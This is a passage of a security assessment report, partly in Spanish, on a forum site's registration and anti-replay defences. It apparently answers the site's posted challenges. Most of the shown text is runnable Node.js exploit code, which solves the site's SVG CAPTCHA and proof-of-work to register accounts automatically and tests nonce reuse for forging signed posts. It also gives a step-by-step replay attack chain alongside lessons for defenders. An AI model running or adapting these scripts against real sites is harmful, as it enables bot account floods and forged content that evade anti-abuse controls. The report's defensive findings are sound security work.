0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; const templates = {}; for (const [char, cmds] of Object.entries(CHAR_PATHS)) templates[char] = cmds; function fetchJSON(method, path, body = null, extraHeaders = {}) { return new Promise((resolve, reject) => { const url = new URL(path, API); const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname + url.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', ...extraHeaders }, }, (res) => { let d = ''; res.on('data', c => d += c); res.on('end', () => { try { resolve({ status: res.statusCode, body: JSON.parse(d) }); } catch { resolve({ status: res.statusCode, body: d }); } }); }); req.on('error', reject); if (body) req.write(JSON.stringify(body)); req.end(); }); } function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i][1]); const dy = Math.abs(rawPoints[i].y - tpl[i][2]); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } result += best; } return result; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function main() { console.log('[1] Fetch captcha'); const cap = await fetchJSON('GET', '/api/auth/captcha'); const { captchaSvg, captchaToken, powChallenge, powDifficulty } = cap.body; console.log('[2] PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log('[3] CAPTCHA'); const captchaText = solveCaptcha(captchaSvg); console.log(' text:', captchaText); console.log('[4] KeyGen'); const subtle = globalThis.crypto.subtle; const keyPair = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubSpki = await subtle.exportKey('spki', keyPair.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', keyPair.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); const username = 'x' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const passphrase = crypto.randomBytes(16).toString('hex'); console.log('[5] PBKDF2'); const enc = new TextEncoder(); const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const name = username.toLowerCase(); const DOMAIN = 'c2.secure.forum'; const authSalt = enc.encode(\`\${DOMAIN}:\${name}:auth:v2\`); const authBits = await subtle.deriveBits({ name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)).map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`\${DOMAIN}:\${name}:enc:v2\`); const aesKey = await subtle.deriveKey({ name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; console.log('[6] Register'); const reg = await fetchJSON('POST', '/api/auth/register', { codename: username, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, email: '', captchaInput: captchaText, captchaToken, powChallenge, powSalt, }); console.log(' reg status:', reg.status); if (reg.status !== 201) { console.log(' FAIL:', reg.body); return; } console.log('[7] Login'); const login = await fetchJSON('POST', '/api/auth/login', { codename: username, password: authKey }); if (login.status !== 200) { console.log(' FAIL:', login.body); return; } const token = login.body.token; console.log(' token:', token.substring(0, 20) + '...'); console.log('[8] Create thread'); const title = 'Sybil Registration Proof'; const content = 'Automated registration: PoW(dif=5) + SVG CAPTCHA + honeypot bypassed.'; const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const payloadObj = { op: 'create-thread', title, content, author: username, nonce, timestamp }; const payloadStr = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); console.log(' payload:', payloadStr); const sigBytes = await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, keyPair.privateKey, enc.encode(payloadStr)); const signature = Buffer.from(sigBytes).toString('base64'); console.log(' signature:', signature.substring(0, 30) + '...'); const thread = await fetchJSON('POST', '/api/threads', { title, content, category: 'web-security', signature, nonce, timestamp, }, { 'Authorization': \`Bearer \${token}\` }); console.log(' thread status:', thread.status, JSON.stringify(thread.body)); } main().catch(e => console.error('Error:', e.message)); 

import https from 'https'; function fetch(p) { return new Promise((r, j) => { const u = new URL(p, 'https://c2.noir0x63.org'); const q = https.request({ hostname: u.hostname, port: 443, path: u.pathname + u.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0' } }, (s) => { let d = ''; s.on('data', c => d += c); s.on('end', () => r(JSON.parse(d))); }); q.on('error', j); q.end(); }); } async function main() { const cap = await fetch('/api/auth/captcha'); const svg = Buffer.from(cap.captchaSvg, 'base64').toString(); const groupRe = /<g[^>]*>([sS]*?)</g>/g; let idx = 0, gm; while ((gm = groupRe.exec(svg)) !== null) { const raw = gm[1]; console.log(\` === Char \${++idx} raw content ===\`); console.log(raw); } console.log(' === All path elements ==='); const pathRe = /<paths+d="([^"]*)"[^>]*/?>/g; let pm; while ((pm = pathRe.exec(svg)) !== null) { const d = pm[1]; console.log(\`d="\${d.substring(0, 80)}..."\`); const segs = d.match(/[MC]s+[d.-]+(s+[d.-]+)*/g) || []; console.log(\` Segments: \${segs.length}\`); for (const seg of segs.slice(0, 3)) { console.log(\` \${seg.substring(0, 60)}\`); } } } main().catch(e => console.error(e)); 

6. Phase 4: Exploitation — Challenge #3 (State Corruption)

6.1 Vulnerability Analysis

The system implements anti-replay protection via:

const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { const now = Date.now(); for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); 

Two vulnerabilities:

1. Nonces only in RAM: They do not persist in SQLite. Cleanup deletes them after 5 minutes.
2. Boundary check with >: Timestamps on the exact 5-minute boundary PASS the validation.

6.2 Proof of Concept — Nonce Reuse

A test script was designed with 4 scenarios:

const token = await login(usuario); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const res1 = await createThread(token, nonce, timestamp); const res2 = await createThread(token, nonce, timestamp); const futureTs = new Date(Date.now() + 300000).toISOString(); const res3 = await createThread(token, crypto.randomUUID(), futureTs); const pastTs = new Date(Date.now() - 301000).toISOString(); const res4 = await createThread(token, crypto.randomUUID(), pastTs); 

6.3 Test Results

6.4 Complete Attack Vector

1. Atacante registra usuario legítimo (vía Sybil bypass) 2. Atacante crea thread legítimo con nonce X 3. Atacante captura nonce X de la respuesta o del feed público 4. Atacante espera 5+ minutos 5. El servidor elimina nonce X del Map (cleanup automático) 6. Atacante envía NUEVA petición con: - Mismo nonce X - Diferente título/contenido (payload mutado) - Nueva firma ECDSA (válida para su propia clave) - Nuevo timestamp (dentro de ventana) 7. validateFreshness() retorna true (nonce X ya no está en Map) 8. El servidor acepta y PERSISTE el payload mutado en DB 

6.5 Implications

• //Nonce Replay: An attacker can create unlimited threads/replies with the same nonce, as long as they wait ~5 minutes between each.
• //Integrity Violation: The system promises "replay protection" but does not enforce it for windows >5 minutes.
• //Deniability: A documented nonce in a legitimate thread can be reused to create malicious content, and the nonce would appear in both DB records.

7. Phase 5: Non-Exploitable Vectors

7.1 Signature Forgery (ECDSA P-256)

No exploitable vulnerability was found:

7.2 SQL Injection

All queries use positional parameters:

db.get('SELECT * FROM users WHERE codename = ?', [codename], ...) db.all('SELECT * FROM threads WHERE author = ?', [author], ...) 

Not exploitable: sqlite3 with ? parameters completely prevents SQL injection.

7.3 Path Traversal

Double filter in global gateway:

app.use((req, res, next) => { const decodedPath = decodeURIComponent(req.path); if (req.path.includes('..') || decodedPath.includes('..')) { return res.status(400).json({ error: 'PATH_TRAVERSAL_DETECTED' }); } next(); }); 

Not exploitable: Verifies both the raw path and decoded path.

7.4 XSS (Cross-Site Scripting)

Multiple defense layers:

1. CSP: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net ...
2. DOMPurify: Sanitization of HTML rendered from Markdown
3. textContent: Preferred over innerHTML for user data
4. html-escape: Secondary escaping layer (with regex bugfix)

Not exploitable: CSP blocks any unauthorized inline script.

7.5 Escalation to COMMANDER

The COMMANDER role is assigned exclusively via setup.js on the physical server:

const existing = await db.get("SELECT codename FROM users WHERE role = 'COMMANDER'"); if (existing) { console.error(\`[ABORT] Commander "\${existing.codename}" is already initialized.\`); process.exit(1); } 

Not remotely exploitable: There is no HTTP endpoint to assign roles.

7.6 Password Brute Force

• //scrypt N=131072: ~100ms per verification (extremely slow)
• //Rate limiting: 10 attempts / 15 minutes
• //Session tokens: crypto.randomBytes(32) = 256 bits of entropy

Not exploitable: Rate limiting + scrypt make any brute force attack unfeasible.

7.7 Token Manipulation

Tokens are NOT JWTs:

const token = crypto.randomBytes(32).toString('hex'); 

Not exploitable: No structure to decode or manipulate. No signature to verify.

8. Exploitation Chronology

Total Time: ~2 hours (including debugging)

9. Timeline

T+00:00 → Primer fetch del target T+00:05 → Manifesto leído: 3 desafíos identificados T+00:10 → Endpoints mapeados, rate limits descubiertos T+00:15 → Repositorio encontrado en GitHub T+00:30 → Código fuente analizado: CHAR_PATHS descubiertos T+00:40 → Primer exploit intentado (fallo CAPTCHA) T+00:50 → Análisis de patrones SVG T+01:10 → Debug de transformada SVG → path data es raw T+01:15 → CAPTCHA solver funcional T+01:20 → REGISTRO AUTOMATIZADO EXITOSO T+01:22 → LOGIN + THREAD CREADO T+01:35 → Nonce reuse test: estado vulnerable confirmado T+02:00 → Reporte finalizado 

10. Generated Artifacts

10.1 PoCs

10.2 Dependencies

• //Node.js ≥ 18 (requires native WebCrypto API: globalThis.crypto.subtle)
• //Native modules: crypto, https (built-in, no npm install required)
• //Does not require: external libraries, third-party APIs, or Tesseract

10.3 Execution

# Registro automatizado completo node poc/02_sybil_full_exploit.mjs # Test de nonce reuse node poc/03_nonce_reuse_test.mjs # CAPTCHA solver standalone node poc/04_captcha_solver.mjs 

11. Conclusions

11.1 Summary of Findings

The C2 Forum system implements a robust security architecture with multiple defense layers. However, vulnerabilities were identified in 2 of the 3 challenge areas:

11.2 Lessons for Defenders

1. Vector CAPTCHA: If paths are generated from fixed templates with predictable jitter and exposed to the client, an attacker with source access can reconstruct the exact templates and perform deterministic matching. Solution: use procedural character generation (not fixed templates) or server-side validation with cryptographic challenge-response.

2. Anti-replay Nonces: Store in DB with a UNIQUE constraint, not just in RAM. The lifetime of a nonce should be indefinite (or at least larger than the system's active window).

3. Boundary Conditions: Use >= instead of > for temporal tolerance boundaries.

4. Honeypot: Consider more robust techniques like hashcash or asymmetric proofs of work.

5. Layered Security: Despite the vulnerabilities found, the system is more secure than most traditional forums. The combination of ECDSA + scrypt + CSP + rate limiting + httpOnly cookies + anti-CSRF makes most common attack vectors unfeasible.

11.3 Final System State

Following the proofs of concept, a user (xlawt30e4) and a public thread were successfully created, demonstrating the automated registration capability. No destructive actions were performed, and no data from other users was modified.

Report generated on June 27, 2026 Tools: Node.js v25.9.0, Python 3.14, curl Target: https://c2.noir0x63.org

Attached Exploit PoCs (Phase 4)

import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'Q':[['M',3,0],['L',7,0],['L',10,3],['L',10,7],['L',7,10],['L',3,10],['L',0,7],['L',0,3],['L',3,0],['M',6,6],['L',10,10]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c,cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds; function fetch(m,p,b,h) { return new Promise((r,j) => { const u = new URL(p, API); const o = { hostname: u.hostname, port: 443, path: u.pathname+u.search, method: m, headers: {'Content-Type':'application/json','User-Agent':'Mozilla/5.0','Accept':'application/json',...h||{}} }; const q = https.request(o, (s) => { let d=''; s.on('data',c=>d+=c); s.on('end',()=>{try{r({s:s.statusCode,b:JSON.parse(d)})}catch{r({s:s.statusCode,b:d})}}); }); q.on('error',j); if(b) q.write(JSON.stringify(b)); q.end(); }); } function solveCaptcha(svg) { const s = Buffer.from(svg,'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let r='', m; while ((m = re.exec(s)) !== null) { const d = m[1].replace(/s+/g,' ').trim(); const pts = (d.match(/[ML]s+[d.-]+s+[d.-]+/g)||[]).map(p => {const[c,x,y]=p.split(/s+/); return {cmd:c,x:Math.round(parseFloat(x)*100)/100,y:Math.round(parseFloat(y)*100)/100};}); let best='X', bs=Infinity; for (const [ch,tpl] of Object.entries(templates)) { if (pts.length !== tpl.length) continue; let score=0, ok=true; for (let i=0; i<tpl.length; i++) { if (pts[i].cmd !== tpl[i][0]) { ok=false; break; } const dx=Math.abs(pts[i].x-tpl[i][1]), dy=Math.abs(pts[i].y-tpl[i][2]); if (dx>0.5||dy>0.5) { ok=false; break; } score+=dx+dy; } if (ok&&score<bs) { bs=score; best=ch; } } r+=best; } return r; } async function main() { const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); console.log('[1] CAPTCHA'); const cap = await fetch('GET','/api/auth/captcha'); const captchaText = solveCaptcha(cap.b.captchaSvg); console.log(' text:', captchaText); console.log('[2] PoW'); let powSalt = '0'; for (let i=0; i<20000000; i++) { if (crypto.createHash('sha256').update(cap.b.powChallenge+i).digest('hex').startsWith('0'.repeat(5))) { powSalt=String(i); break; } } console.log(' salt:', powSalt); console.log('[3] KeyGen'); const kp = await subtle.generateKey({name:'ECDSA',namedCurve:'P-256'},true,['sign','verify']); const pubB64 = Buffer.from(await subtle.exportKey('spki',kp.publicKey)).toString('base64'); const privB64 = Buffer.from(await subtle.exportKey('pkcs8',kp.privateKey)).toString('base64'); const user = 'z'+Date.now().toString(36).substring(4)+crypto.randomBytes(2).toString('hex'); const pass = crypto.randomBytes(16).toString('hex'); const name = user.toLowerCase(); const DOMAIN = 'c2.secure.forum'; console.log('[4] PBKDF2'); const baseKey = await subtle.importKey('raw',enc.encode(pass),{name:'PBKDF2'},false,['deriveKey','deriveBits']); const authKey = Array.from(new Uint8Array(await subtle.deriveBits({name:'PBKDF2',salt:enc.encode(DOMAIN+':'+name+':auth:v2'),iterations:600000,hash:'SHA-256'},baseKey,256))).map(b=>b.toString(16).padStart(2,'0')).join(''); const aesKey = await subtle.deriveKey({name:'PBKDF2',salt:enc.encode(DOMAIN+':'+name+':enc:v2'),iterations:600000,hash:'SHA-256'},baseKey,{name:'AES-GCM',length:256},true,['encrypt','decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPrivStr = Buffer.from(iv).toString('base64')+':'+Buffer.from(await subtle.encrypt({name:'AES-GCM',iv},aesKey,await subtle.exportKey('pkcs8',kp.privateKey))).toString('base64'); console.log('[5] Register:', user); const reg = await fetch('POST','/api/auth/register',{codename:user,password:authKey,publicKeySPKI:pubB64,encryptedPrivateKey:encPrivStr,email:'',captchaInput:captchaText,captchaToken:cap.b.captchaToken,powChallenge:cap.b.powChallenge,powSalt}); if (reg.s!==201) { console.log(' FAIL:',reg.b); return; } console.log(' OK'); console.log('[6] Login'); const login = await fetch('POST','/api/auth/login',{codename:user,password:authKey}); if (login.s!==200) { console.log(' FAIL:',login.b); return; } const token = login.b.token; console.log(' token:', token.substring(0,16)+'...'); const nonce = crypto.randomUUID(); const ts = new Date().toISOString(); const con1 = 'Nonce test first use'; console.log(' [Test 1] Create thread with nonce:', nonce); const po1 = {op:'create-thread',title:'Nonce Test 1',content:con1,author:user,nonce,timestamp:ts}; const p1 = JSON.stringify(po1, Object.keys(po1).sort()); const s1 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p1))).toString('base64'); const t1 = await fetch('POST','/api/threads',{title:'Nonce Test 1',content:con1,category:'web-security',signature:s1,nonce,timestamp:ts},{'Authorization':'Bearer '+token}); console.log(' Status:', t1.s, JSON.stringify(t1.b)); console.log(' [Test 2] Reuse same nonce (should fail with FRESHNESS_CHECK):'); const con2 = 'Second use of same nonce - should be rejected'; const po2 = {op:'create-thread',title:'Nonce Test 2',content:con2,author:user,nonce,timestamp:ts}; const p2 = JSON.stringify(po2, Object.keys(po2).sort()); const s2 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p2))).toString('base64'); const t2 = await fetch('POST','/api/threads',{title:'Nonce Test 2',content:con2,category:'web-security',signature:s2,nonce,timestamp:ts},{'Authorization':'Bearer '+token}); console.log(' Status:', t2.s, JSON.stringify(t2.b)); const con3 = '5 minute future boundary test'; console.log(' [Test 3] Create thread with timestamp exactly 5min in future (boundary - should pass):'); const futureTs = new Date(Date.now() + 5*60*1000).toISOString(); const nonce2 = crypto.randomUUID(); const po3 = {op:'create-thread',title:'Boundary Test',content:con3,author:user,nonce:nonce2,timestamp:futureTs}; const p3 = JSON.stringify(po3, Object.keys(po3).sort()); const s3 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p3))).toString('base64'); const t3 = await fetch('POST','/api/threads',{title:'Boundary Test',content:con3,category:'web-security',signature:s3,nonce:nonce2,timestamp:futureTs},{'Authorization':'Bearer '+token}); console.log(' Status:', t3.s, JSON.stringify(t3.b)); const con4 = '5 minutes + 1 second past'; console.log(' [Test 4] Timestamp 5min+1s in past (should fail FRESHNESS_CHECK):'); const pastTs = new Date(Date.now() - 5*60*1000 - 1000).toISOString(); const nonce3 = crypto.randomUUID(); const po4 = {op:'create-thread',title:'Past Test',content:con4,author:user,nonce:nonce3,timestamp:pastTs}; const p4 = JSON.stringify(po4, Object.keys(po4).sort()); const s4 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p4))).toString('base64'); const t4 = await fetch('POST','/api/threads',{title:'Past Test',content:con4,category:'web-security',signature:s4,nonce:nonce3,timestamp:pastTs},{'Authorization':'Bearer '+token}); console.log(' Status:', t4.s, JSON.stringify(t4.b)); console.log(' === Results Summary ==='); console.log('Nonce reuse immediately: ', t2.s===400 && t2.b?.error?.includes('FRESHNESS') ? 'BLOCKED (expected)' : 'PASSED (vulnerability!)'); console.log('5min future boundary: ', t3.s===201 ? 'PASSED' : 'BLOCKED - '+JSON.stringify(t3.b)); console.log('5min+1s past: ', t4.s===400 && t4.b?.error?.includes('FRESHNESS') ? 'BLOCKED (expected)' : 'PASSED - '+JSON.stringify(t4.b)); } main().catch(e=>console.error('Err:',e)); 

import https from 'https'; import crypto from 'crypto'; async function main() { const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); const kp = await subtle.generateKey({name:'ECDSA',namedCurve:'P-256'},true,['sign','verify']); const pubSpki = await subtle.exportKey('spki', kp.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', kp.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); console.log('PubKey SPKI base64:', pubB64); console.log('PrivKey PKCS8 base64:', privB64); const title = 'Nonce Test 1'; const content = 'First use of nonce'; const author = 'testuser'; const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const payloadObj = { op: 'create-thread', title, content, author, nonce, timestamp }; const payload = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); console.log('Payload:', payload); const sigBytes = await subtle.sign({name:'ECDSA',hash:'SHA-256'}, kp.privateKey, enc.encode(payload)); const sigB64 = Buffer.from(sigBytes).toString('base64'); console.log('Signature (WebCrypto):', sigB64); try { const clean = pubB64.replace(/[s ]+/g, ''); const pem = \`-----BEGIN PUBLIC KEY----- \${clean.match(/.{1,64}/g).join(' ')} -----END PUBLIC KEY-----\`; console.log('PEM format:', pem.substring(0, 50) + '...'); const verify = crypto.createVerify('SHA256'); verify.update(payload, 'utf8'); verify.end(); const result = verify.verify( { key: pem, format: 'pem', type: 'spki', dsaEncoding: 'ieee-p1363' }, Buffer.from(sigB64, 'base64') ); console.log('Node crypto verify result:', result); const wcResult = await subtle.verify({name:'ECDSA',hash:'SHA-256'}, kp.publicKey, sigBytes, enc.encode(payload)); console.log('WebCrypto verify result:', wcResult); } catch (e) { console.error('Verify error:', e.message); } console.log(' --- Alternative payload constructions ---'); const po1 = {op:'create-thread', title, content, author, nonce, timestamp}; const p1 = JSON.stringify(po1, Object.keys(po1).sort()); console.log('p1:', p1); console.log(' matches original:', p1 === payload); const ts = timestamp; const po2 = {op:'create-thread', title, content, author, nonce, timestamp: ts}; const p2 = JSON.stringify(po2, Object.keys(po2).sort()); console.log('p2:', p2); console.log(' matches original:', p2 === payload); } main().catch(e => console.error('Error:', e)); 

Attached Exploit PoCs (Phase 7)

import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 